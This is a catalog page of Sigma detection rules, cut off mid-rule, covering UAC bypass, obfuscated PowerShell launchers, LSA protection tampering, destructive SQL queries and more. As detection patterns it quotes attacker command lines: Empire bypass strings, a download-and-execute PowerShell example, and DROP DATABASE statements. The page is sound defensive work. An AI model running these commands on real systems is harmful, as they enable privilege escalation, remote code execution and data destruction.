Detection rules › Sigma

Sigma rules: 2i

RuleSeverity
Data Exfiltration to Unsanctioned Appsmedium
DoT (DNS over TLS) activation (PowerShell)medium
HackTool - Empire PowerShell UAC Bypasscritical
HackTool - Koh Default Named Pipecritical
Headless Process Launched Via Conhost.EXEmedium
Invoke-Obfuscation STDIN+ Launcher - Systemhigh
Linux Setgid Capability Set on a Binary via Setcap Utilitylow
Local User Creationlow
LSA PPL Protection Setting Modification via CommandLinemedium
MSSQL Destructive Querymedium
New Custom Shim Database Createdmedium
New Root Certificate Installed Via CertMgr.EXEmedium
New Service Creation Using Sc.EXElow
OpenCanary - Telnet Login Attempthigh
PAExec Service Installationmedium
Password Provided In Command Line Of Net.EXEmedium
Potential SNAKE Malware Installation Binary Indicatorhigh
Program Executions in Suspicious Foldersmedium
Schtasks From Suspicious Foldershigh
Scripting/CommandLine Process Spawned Regsvr32medium
Security Event Logging Disabled via MiniNt Registry Key - Registry Sethigh
Security Software Discovery - Linuxlow
Service abuse with malicious ImagePath (Reg via PowerShell)high
Sitecore Pre-Auth RCE CVE-2021-42237high
Steganography Unzip Hidden Information From Picture Filelow
Suspicious Double Extension File Executionhigh
Suspicious Greedy Compression Using Rar.EXEhigh
Suspicious IIS URL GlobalRules Rewrite Via AppCmdmedium
Suspicious PowerShell Get Current Userlow
Suspicious Process Parentshigh
UAC Bypass Using IDiagnostic Profilehigh
Use of VSIISExeLauncher.exemedium
Vulnerable Netlogon Secure Channel Connection Allowedhigh
WebDav Client Execution Via Rundll32.EXEmedium

Data Exfiltration to Unsanctioned Apps

#
Status
test
Severity
medium
Author
Austin Songer @austinsonger
Source
github.com/SigmaHQ/sigma

Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.

MITRE ATT&CK Coverage

TacticTechniques
Exfiltration

Telemetry Coverage

Rule Body

title: Data Exfiltration to Unsanctioned Apps
id: 2b669496-d215-47d8-bd9a-f4a45bf07cda
status: test
description: Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.
references:
    - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
    - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
author: Austin Songer @austinsonger
date: 2021-08-23
modified: 2022-10-09
tags:
    - attack.exfiltration
    - attack.t1537
logsource:
    service: threat_management
    product: m365
detection:
    selection:
        eventSource: SecurityComplianceCenter
        eventName: 'Data exfiltration to unsanctioned apps'
        status: success
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    eventSource: SecurityComplianceCenter
    eventName: 'Data exfiltration to unsanctioned apps'
    status: success

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
eventNameeq
  • Data exfiltration to unsanctioned apps
field:"aws::eventName" kind:eq value:"Data exfiltration to unsanctioned apps"
eventSourceeq
  • SecurityComplianceCenter corpus 14 (sigma 14)
field:"aws::eventSource" kind:eq value:"SecurityComplianceCenter"
statuseq
  • success corpus 21 (sigma 15, splunk 6)
field:"status" kind:eq value:"success"

DoT (DNS over TLS) activation (PowerShell)

#
Status
experimental
Severity
medium
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker attempts to enable DNS over TLS in order to evade detection for command and control purposes.

Known False Positives

  • Legitimate DoT activation by administrators

MITRE ATT&CK Coverage

TacticTechniques
Command & Control

Telemetry Coverage

Rule Body

title: DoT (DNS over TLS) activation (PowerShell)
description: Detects scenarios where an attacker attempts to enable DNS over TLS in order to evade detection for command and control purposes.
references:
- https://techcommunity.microsoft.com/t5/networking-blog/dns-over-tls-available-to-windows-insiders/ba-p/3565859
- http://woshub.com/enable-dns-over-https-windows/
tags:
- attack.defense_evasion
- attack.command_and_control
- attack.t1071.004 
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # "HKLM:\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters"
  selection_powershell_native:
    EventID: 800
    EventData|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters'
      - 'EnableAutoDoh'

  selection_powershell_modern:
    EventID: 4103
    Payload|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters'
      - 'EnableAutoDoh'

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters'
      - 'EnableAutoDoh'

  condition: 1 of selection*
falsepositives:
- Legitimate DoT activation by administrators 
level: medium

Stages and Predicates

Stage 0: condition

1 of selection*

Stage 1: selection_powershell_native

selection_powershell_native:
  EventID: 800
  EventData|contains|all:
    - '-ItemProperty'
    - '\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters'
    - 'EnableAutoDoh'

Stage 2: selection_powershell_modern

selection_powershell_modern:
  EventID: 4103
  Payload|contains|all:
    - '-ItemProperty'
    - '\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters'
    - 'EnableAutoDoh'

Stage 3: selection_powershell_block

selection_powershell_block:
  EventID: 4104
  ScriptBlockText|contains|all:
    - '-ItemProperty'
    - '\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters'
    - 'EnableAutoDoh'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
EventDatamatch
  • -ItemProperty corpus 5 (sigma 5)
  • EnableAutoDoh
  • \SYSTEM\CurrentControlSet\Services\Dnscache\Parameters
field:"EventData" kind:match
Payloadmatch
  • -ItemProperty corpus 5 (sigma 5)
  • EnableAutoDoh
  • \SYSTEM\CurrentControlSet\Services\Dnscache\Parameters
field:"Payload" kind:match
ScriptBlockTextmatch
  • -ItemProperty corpus 5 (sigma 5)
  • EnableAutoDoh
  • \SYSTEM\CurrentControlSet\Services\Dnscache\Parameters
field:"ScriptBlockText" kind:match

HackTool - Empire PowerShell UAC Bypass

#
Status
stable
Severity
critical
Author
Ecco
Source
github.com/SigmaHQ/sigma

Detects some Empire PowerShell UAC bypass methods

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: HackTool - Empire PowerShell UAC Bypass
id: 3268b746-88d8-4cd3-bffc-30077d02c787
status: stable
description: Detects some Empire PowerShell UAC bypass methods
references:
    - https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64
    - https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64
author: Ecco
date: 2019-08-30
modified: 2023-02-21
tags:
    - attack.privilege-escalation
    - attack.t1548.002
    - car.2019-04-001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - ' -NoP -NonI -w Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update)'
            - ' -NoP -NonI -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update);'
    condition: selection
falsepositives:
    - Unknown
level: critical

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CommandLine|contains:
        - ' -NoP -NonI -w Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update)'
        - ' -NoP -NonI -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update);'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -NoP -NonI -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update);
  • -NoP -NonI -w Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update)
field:"CommandLine" kind:match

HackTool - Koh Default Named Pipe

#
Status
test
Severity
critical
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects creation of default named pipes used by the Koh tool

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: HackTool - Koh Default Named Pipe
id: 0adc67e0-a68f-4ffd-9c43-28905aad5d6a
status: test
description: Detects creation of default named pipes used by the Koh tool
references:
    - https://github.com/GhostPack/Koh/blob/0283d9f3f91cf74732ad377821986cfcb088e20a/Clients/BOF/KohClient.c#L12
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-07-08
modified: 2023-08-07
tags:
    - attack.privilege-escalation
    - attack.credential-access
    - attack.stealth
    - attack.t1528
    - attack.t1134.001
logsource:
    product: windows
    category: pipe_created
    definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
    selection:
        PipeName|contains:
            - '\imposecost'
            - '\imposingcost'
    condition: selection
falsepositives:
    - Unlikely
level: critical

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    PipeName|contains:
        - '\imposecost'
        - '\imposingcost'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
PipeNamematch
  • \imposecost
  • \imposingcost
field:"PipeName" kind:match

Headless Process Launched Via Conhost.EXE

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the launch of a child process via "conhost.exe" with the "--headless" flag. The "--headless" flag hides the windows from the user upon execution.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Headless Process Launched Via Conhost.EXE
id: 00ca75ab-d5ce-43be-b86c-55ff39c6abfc
related:
    - id: 056c7317-9a09-4bd4-9067-d051312752ea
      type: derived
status: test
description: |
    Detects the launch of a child process via "conhost.exe" with the "--headless" flag.
    The "--headless" flag hides the windows from the user upon execution.
references:
    - https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
author: Nasreddine Bencherchali (Nextron Systems)
date: 2024-07-23
tags:
    - attack.execution
    - attack.t1059.001
    - attack.t1059.003
    - detection.threat-hunting
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\conhost.exe'
        ParentCommandLine|contains: '--headless'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ParentImage|endswith: '\conhost.exe'
    ParentCommandLine|contains: '--headless'

Indicators

These rows show field, operator, and value matches.

Invoke-Obfuscation STDIN+ Launcher - System

#
Status
test
Severity
high
Author
Jonathan Cheong, oscd.community
Source
github.com/SigmaHQ/sigma

Detects Obfuscated use of stdin to execute PowerShell

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Invoke-Obfuscation STDIN+ Launcher - System
id: 72862bf2-0eb1-11eb-adc1-0242ac120002
status: test
description: Detects Obfuscated use of stdin to execute PowerShell
references:
    - https://github.com/SigmaHQ/sigma/issues/1009  # (Task 25)
author: Jonathan Cheong, oscd.community
date: 2020-10-15
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection_main:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        # ImagePath|re: 'cmd.{0,5}(?:\/c|\/r).+powershell.+(?:\$\{?input\}?|noexit).+\"'
        # Example 1: c:\windows\sYstEm32\CmD.eXE /C"echO\Invoke-Expression (New-Object Net.WebClient).DownloadString | POwersHELl -NoEXiT -"
        # Example 2: c:\WiNDOws\sysTEm32\cmd.EXe /C " ECHo Invoke-Expression (New-Object Net.WebClient).DownloadString | POwersHELl -nol ${EXEcUtIONCONTeXT}.INvOkEComMANd.InvOKEScRIPt( $InpUt )"
        ImagePath|contains|all:
            - 'cmd'
            - 'powershell'
        ImagePath|contains:
            - '/c'
            - '/r'
    selection_other:
        - ImagePath|contains: 'noexit'
        - ImagePath|contains|all:
              - 'input'
              - '$'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_main

selection_main:
    Provider_Name: 'Service Control Manager'
    EventID: 7045
    ImagePath|contains|all:
        - 'cmd'
        - 'powershell'
    ImagePath|contains:
        - '/c'
        - '/r'

Stage 2: selection_other

selection_other:
    - ImagePath|contains: 'noexit'
    - ImagePath|contains|all:
          - 'input'
          - '$'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ImagePathmatch
  • $
  • /c corpus 4 (sigma 4)
  • /r corpus 2 (sigma 2)
  • cmd corpus 5 (sigma 5)
  • input corpus 2 (sigma 2)
  • noexit
  • powershell corpus 5 (sigma 5)
field:"ImagePath" kind:match
Provider_Nameeq
  • Service Control Manager corpus 50 (sigma 50)
field:"Provider_Name" kind:eq value:"Service Control Manager"

Linux Setgid Capability Set on a Binary via Setcap Utility

#
Status
experimental
Severity
low
Author
Luc Génaux
Source
github.com/SigmaHQ/sigma

Detects the use of the 'setcap' utility to set the 'setgid' capability (cap_setgid) on a binary file. This capability allows a non privileged process to make arbitrary manipulations of group IDs (GIDs), including setting its current GID to a value that would otherwise be restricted (i.e. GID 0, the root group). This behavior can be used by adversaries to backdoor a binary in order to escalate privileges again in the future if needed.

MITRE ATT&CK Coverage

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Linux Setgid Capability Set on a Binary via Setcap Utility
id: 3a716279-c18c-4488-83be-f9ececbfb9fc
status: experimental
description: |
    Detects the use of the 'setcap' utility to set the 'setgid' capability (cap_setgid) on a binary file.
    This capability allows a non privileged process to make arbitrary manipulations of group IDs (GIDs), including setting its current GID to a value that would otherwise be restricted (i.e. GID 0, the root group).
    This behavior can be used by adversaries to backdoor a binary in order to escalate privileges again in the future if needed.
references:
    - https://man7.org/linux/man-pages/man8/setcap.8.html
    - https://dfir.ch/posts/linux_capabilities/
    - https://juggernaut-sec.com/capabilities/#cap_setgid
author: Luc Génaux
date: 2026-01-24
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1548
    - attack.t1554
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        Image|endswith: '/setcap'
        CommandLine|contains: 'cap_setgid'
    condition: selection
falsepositives:
    - Unknown
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith: '/setcap'
    CommandLine|contains: 'cap_setgid'

Indicators

These rows show field, operator, and value matches.

Local User Creation

#
Status
test
Severity
low
Author
Patrick Bareiss
Source
github.com/SigmaHQ/sigma

Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs.

Known False Positives

  • Domain Controller Logs
  • Local accounts managed by privileged account management tools

MITRE ATT&CK Coverage

TacticTechniques
Persistence

Telemetry Coverage

Rule Body

title: Local User Creation
id: 66b6be3d-55d0-4f47-9855-d69df21740ea
status: test
description: |
    Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs.
references:
    - https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/
author: Patrick Bareiss
date: 2019-04-18
modified: 2021-01-17
tags:
    - attack.persistence
    - attack.t1136.001
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4720
    condition: selection
falsepositives:
    - Domain Controller Logs
    - Local accounts managed by privileged account management tools
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 4720

LSA PPL Protection Setting Modification via CommandLine

#
Status
test
Severity
medium
Author
Florian Roth (Nextron Systems), Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects modification of LSA PPL protection settings via CommandLine. It may indicate an attempt to disable protection and enable credential dumping tools to access LSASS process memory.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
Defense Impairment

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: LSA PPL Protection Setting Modification via CommandLine
id: 8c0eca51-0f88-4db2-9183-fdfb10c703f9
status: test
description: |
    Detects modification of LSA PPL protection settings via CommandLine.
    It may indicate an attempt to disable protection and enable credential dumping tools to access LSASS process memory.
references:
    - https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/
    - https://github.com/shoober420/windows11-scripts/blob/38d83331738cd713ccb42f2c4557d17a27aefd98/Windows11Tweaks.bat#L1825
author: Florian Roth (Nextron Systems), Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2022-03-22
modified: 2026-03-13
tags:
    - attack.defense-impairment
    - attack.t1689
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\reg.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'reg.exe'
              - 'powershell.exe'
              - 'pwsh.dll'
    selection_cli_action:
        CommandLine|contains|all:
            - 'ControlSet'
            - '\Control\Lsa'
        CommandLine|contains:
            - 'Set-ItemProperty'
            - 'New-ItemProperty'
            - ' add '
    selection_key:
        CommandLine|contains:
            - 'IsPplAutoEnabled'
            - 'RunAsPPL'
            - 'RunAsPPLBoot'
    condition: all of selection_*
falsepositives:
    - Unlikely
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith:
          - '\reg.exe'
          - '\powershell.exe'
          - '\pwsh.exe'
    - OriginalFileName:
          - 'reg.exe'
          - 'powershell.exe'
          - 'pwsh.dll'

Stage 2: selection_cli_action

selection_cli_action:
    CommandLine|contains|all:
        - 'ControlSet'
        - '\Control\Lsa'
    CommandLine|contains:
        - 'Set-ItemProperty'
        - 'New-ItemProperty'
        - ' add '

Stage 3: selection_key

selection_key:
    CommandLine|contains:
        - 'IsPplAutoEnabled'
        - 'RunAsPPL'
        - 'RunAsPPLBoot'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • add corpus 14 (sigma 13, splunk 1)
  • ControlSet corpus 3 (sigma 3)
  • IsPplAutoEnabled
  • New-ItemProperty corpus 7 (sigma 7)
  • RunAsPPL
  • RunAsPPLBoot
  • Set-ItemProperty corpus 7 (sigma 7)
  • \Control\Lsa corpus 2 (sigma 2)
field:"CommandLine" kind:match
Imageends_with
  • \powershell.exe corpus 181 (sigma 180, splunk 1)
  • \pwsh.exe corpus 166 (sigma 166)
  • \reg.exe corpus 58 (sigma 58)
field:"Image" kind:ends_with
OriginalFileNameeq
  • powershell.exe corpus 134 (sigma 86, splunk 30, elastic 18)
  • pwsh.dll corpus 115 (sigma 81, splunk 30, elastic 4)
  • reg.exe corpus 41 (sigma 32, splunk 8, elastic 1)
field:"OriginalFileName" kind:eq

MSSQL Destructive Query

#
Status
experimental
Severity
medium
Author
Daniel Degasperi '@d4ns4n_'
Source
github.com/SigmaHQ/sigma

Detects the invocation of MS SQL transactions that are destructive towards table or database data, such as "DROP TABLE" or "DROP DATABASE".

Known False Positives

  • Legitimate transaction from a sysadmin.

MITRE ATT&CK Coverage

TacticTechniques
Impact

Telemetry Coverage

ProviderRecord / event type
MSSQLSERVEREvent ID 33205

Rule Body

title: MSSQL Destructive Query
id: 00321fee-ca72-4cce-b011-5415af3b9960
status: experimental
description: |
    Detects the invocation of MS SQL transactions that are destructive towards table or database data, such as "DROP TABLE" or "DROP DATABASE".
references:
    - https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-table-transact-sql?view=sql-server-ver16
    - https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-database-transact-sql?view=sql-server-ver16
    - https://learn.microsoft.com/en-us/sql/t-sql/statements/truncate-table-transact-sql?view=sql-server-ver16
author: Daniel Degasperi '@d4ns4n_'
date: 2025-06-04
tags:
    - attack.exfiltration
    - attack.impact
    - attack.t1485
logsource:
    product: windows
    service: application
    definition: 'Requirements: MSSQL audit policy must be enabled in order to receive this event (event id 33205)'
detection:
    selection:
        Provider_Name: 'MSSQLSERVER$AUDIT'
        EventID: 33205
        Data|contains:
            - 'statement:TRUNCATE TABLE'
            - 'statement:DROP TABLE'
            - 'statement:DROP DATABASE'
    condition: selection
falsepositives:
    - Legitimate transaction from a sysadmin.
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Provider_Name: 'MSSQLSERVER$AUDIT'
    EventID: 33205
    Data|contains:
        - 'statement:TRUNCATE TABLE'
        - 'statement:DROP TABLE'
        - 'statement:DROP DATABASE'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Datamatch
  • statement:DROP DATABASE
  • statement:DROP TABLE
  • statement:TRUNCATE TABLE
field:"Data" kind:match
Provider_Nameeq
  • MSSQLSERVER$AUDIT
field:"Provider_Name" kind:eq value:"MSSQLSERVER$AUDIT"

New Custom Shim Database Created

#
Status
test
Severity
medium
Author
frack113, Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.

Known False Positives

  • Legitimate custom SHIM installations will also trigger this rule

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: New Custom Shim Database Created
id: ee63c85c-6d51-4d12-ad09-04e25877a947
status: test
description: |
    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.
    The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory
    - https://www.mandiant.com/resources/blog/fin7-shim-databases-persistence
    - https://liberty-shell.com/sec/2020/02/25/shim-persistence/
    - https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/
author: frack113, Nasreddine Bencherchali (Nextron Systems)
date: 2021-12-29
modified: 2023-12-06
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.009
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|contains:
            - ':\Windows\apppatch\Custom\'
            - ':\Windows\apppatch\CustomSDB\'
    condition: selection
falsepositives:
    - Legitimate custom SHIM installations will also trigger this rule
level: medium
regression_tests_path: regression_data/rules/windows/file/file_event/file_event_win_creation_new_shim_database/info.yml

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetFilename|contains:
        - ':\Windows\apppatch\Custom\'
        - ':\Windows\apppatch\CustomSDB\'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetFilenamematch
  • :\Windows\apppatch\CustomSDB\
  • :\Windows\apppatch\Custom\
field:"TargetFilename" kind:match

New Root Certificate Installed Via CertMgr.EXE

#
Status
test
Severity
medium
Author
oscd.community, @redcanary, Zach Stanford @svch0st
Source
github.com/SigmaHQ/sigma

Detects execution of "certmgr" with the "add" flag in order to install a new certificate on the system. Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

Known False Positives

  • Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: New Root Certificate Installed Via CertMgr.EXE
id: ff992eac-6449-4c60-8c1d-91c9722a1d48
related:
    - id: 42821614-9264-4761-acfc-5772c3286f76
      type: derived
    - id: 46591fae-7a4c-46ea-aec3-dff5e6d785dc
      type: obsolete
status: test
description: |
    Detects execution of "certmgr" with the "add" flag in order to install a new certificate on the system.
    Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md
    - https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/
author: oscd.community, @redcanary, Zach Stanford @svch0st
date: 2023-03-05
tags:
    - attack.defense-impairment
    - attack.t1553.004
logsource:
    category: process_creation
    product: windows
detection:
    # Example: CertMgr.exe /add CertificateFileName.cer /s /r localMachine root /all
    selection_img:
        - Image|endswith: '\CertMgr.exe'
        - OriginalFileName: 'CERTMGT.EXE'
    selection_cli:
        CommandLine|contains|all:
            - '/add'
            - 'root'
    condition: all of selection_*
falsepositives:
    - Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\CertMgr.exe'
    - OriginalFileName: 'CERTMGT.EXE'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains|all:
        - '/add'
        - 'root'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • /add corpus 7 (sigma 5, splunk 2)
  • root corpus 3 (sigma 2, splunk 1)
field:"CommandLine" kind:match
Imageends_with
  • \CertMgr.exe
field:"Image" kind:ends_with value:"\CertMgr.exe"
OriginalFileNameeq
  • CERTMGT.EXE
field:"OriginalFileName" kind:eq value:"CERTMGT.EXE"

New Service Creation Using Sc.EXE

#
Status
test
Severity
low
Author
Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community
Source
github.com/SigmaHQ/sigma

Detects the creation of a new service using the "sc.exe" utility.

Known False Positives

  • Legitimate administrator or user creates a service for legitimate reasons.
  • Software installation

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: New Service Creation Using Sc.EXE
id: 85ff530b-261d-48c6-a441-facaa2e81e48
related:
    - id: c02e96b7-c63a-4c47-bd83-4a9f74afcfb2 # Using PowerShell
      type: similar
status: test
description: Detects the creation of a new service using the "sc.exe" utility.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md
author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community
date: 2023-02-20
modified: 2025-09-01
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1543.003
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\sc.exe'
        CommandLine|contains|all:
            - 'create'
            - 'binPath'
    filter_optional_dropbox:
        ParentImage|startswith:
            - 'C:\Program Files (x86)\Dropbox\Client\'
            - 'C:\Program Files\Dropbox\Client\'
        ParentImage|endswith: '\Dropbox.exe'
    condition: selection and not 1 of filter_optional_*
falsepositives:
    - Legitimate administrator or user creates a service for legitimate reasons.
    - Software installation
level: low

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_optional_*

Stage 1: selection

selection:
    Image|endswith: '\sc.exe'
    CommandLine|contains|all:
        - 'create'
        - 'binPath'

Stage 2: not filter_optional_dropbox

filter_optional_dropbox:
    ParentImage|startswith:
        - 'C:\Program Files (x86)\Dropbox\Client\'
        - 'C:\Program Files\Dropbox\Client\'
    ParentImage|endswith: '\Dropbox.exe'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • binPath corpus 6 (sigma 5, splunk 1)
  • create corpus 29 (sigma 17, splunk 7, elastic 5)
field:"CommandLine" kind:match
Imageends_with
  • \sc.exe corpus 30 (sigma 30)
field:"Image" kind:ends_with value:"\sc.exe"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
ParentImagestarts_withC:\Program Files (x86)\Dropbox\Client\excludes:ParentImage field:"ParentImage" value:"C:\Program Files (x86)\Dropbox\Client\"
ParentImagestarts_withC:\Program Files\Dropbox\Client\excludes:ParentImage field:"ParentImage" value:"C:\Program Files\Dropbox\Client\"
ParentImageends_with\Dropbox.exeexcludes:ParentImage field:"ParentImage" value:"\Dropbox.exe"

OpenCanary - Telnet Login Attempt

#
Status
test
Severity
high
Author
Security Onion Solutions
Source
github.com/SigmaHQ/sigma

Detects instances where a Telnet service on an OpenCanary node has had a login attempt.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

Rule Body

title: OpenCanary - Telnet Login Attempt
id: 512cff7a-683a-43ad-afe0-dd398e872f36
status: test
description: Detects instances where a Telnet service on an OpenCanary node has had a login attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.initial-access
    - attack.command-and-control
    - attack.stealth
    - attack.t1133
    - attack.t1078
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 6001
    condition: selection
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    logtype: 6001

Indicators

These rows show field, operator, and value matches.

PAExec Service Installation

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects PAExec service installation

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: PAExec Service Installation
id: de7ce410-b3fb-4e8a-b38c-3b999e2c3420
status: test
description: Detects PAExec service installation
references:
    - https://www.poweradmin.com/paexec/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-26
tags:
